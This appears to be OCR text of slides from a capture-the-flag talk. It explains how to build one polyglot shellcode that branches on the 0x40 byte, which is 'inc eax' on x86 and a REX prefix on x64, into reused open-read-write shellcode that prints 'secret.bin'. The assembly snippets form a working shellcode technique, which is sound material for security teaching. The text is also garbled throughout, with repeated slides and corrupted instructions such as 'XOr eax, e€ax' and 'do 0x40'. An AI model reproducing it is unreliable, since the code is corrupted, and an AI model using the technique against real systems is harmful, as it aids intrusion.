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Goal: construct a single shellcode.bin that
when injected into x86 and x64 binary separately, they behave the same



Q. How do we detect which environment we're in?

A. Find a single bytecode that when interpreted differently,
they behave differently (ironic!)



|dea from the article

32-bit ::; .
assembler Inc eax

\ 64-bit — something else

assembler (eax doesn’t change)

0x40




|dea from the article

. 00000002 40 inc eax
32-bit |:>
/ assembler 00000003 B701 mov bh,0Ox1
db 0x40
mov bh, 1 \
64-bit :
00000002 40B701 mov dil,Ox1
assembler I:>

Observation: eax is modified by x32, whereas remains unchanged by x64




|dea from the article

db 0x40
mov bh, 1

=
=~

32-bit
assembler

64-bit
assembler

—

00000002 40
00000003 B701

00000002 408701

inc eax

mov bh,0Ox1

mov dil,0x1

|dea: we can use this bit to construct a litmus test by observing the value of eax!



A litmus test

Xor eax, eax
db 0x40
mov bh, 1
test eax, eax

jz x64




Exploit

Xor eax, eax
db 0x40
mov bh, 1
test eax, eax
jz x64
/ ~_
32-bit 64-bit

shellcode shellcode




Exploit

XOr eax, eax

do 0x40

mov bh, 1

test eax, eax

jz x64

32-bit
shellcode

x64:
64-bit
shellcode




Exploit

remaining part

<

XOr eax, eax

do 0x40

mov bh, 1

test eax, eax

jz x64

32-bit
shellcode

x64:
64-bit
shellcode




Exploit

Xor eax, eax
db 0x40
mov bh, 1
test eax, eax
jz x64
32-bit
shellcode
x64:
64-bit
shellcode

reuse orw32 by
replacing the filename

reuse orw64 by
replacing the filename



Exploit

can we just naively
concatenate them?

<

XOr eax, eax

do 0x40

mov bh, 1

test eax, eax

jz x64

32-bit
shellcode

x64:
64-bit
shellcode




Exploit

Xor eax, eax
db 0x40
mov bh, 1
test eax, eax
jz x64
32-bit
shellcode
x64:
64-bit
shellcode

shellcode32.bin

open filename
repeat
buffer <- read filename
stdout <- write buffer
until end-of-file
exit

N
S gk wh =

filename <- ‘secret.bin’

-7 | buffer

This buffer space is not part of the code
=> might overlap with x64 code space



Exploit

XOr eax, e€ax

do 0x40

mov bh, 1

test eax, eax

jz x64

32-bit
shellcode

x64:
64-bit
shellcode

shellcode32.bin

/
/| 1. open filename

2. repeat
3. buffer <- read filename
4, stdout <- write buffer
5. until end-of-file
6. exit

filename <-

‘secret. bin\0X XXX X

) 9.90.9.9.9.9.9.9.9.90.9.9.9.9.9.9.09009004

MY SOLUTION:
make buffer space part of the code
by putting enough placeholders



Exploit

Xor eax, eax shellcode32.bin
/
db  0x40 ,/| 1. open filename
/ 2. repeat
mov bh, 1 /// 3. buffer <- read filename
/ 4. stdout <- write buffer
fest = i ;. 5. until end-of-file
iz x64 )/ 6. exit
// .
R filename <-
‘secret.bin\0X XXX XX
39-bit ) 9.0.00.0.0.00.00000.000000004
shellcode el .
x64:
64-bit make buffer S art of the code
shellcode mg enough place




Thank you!



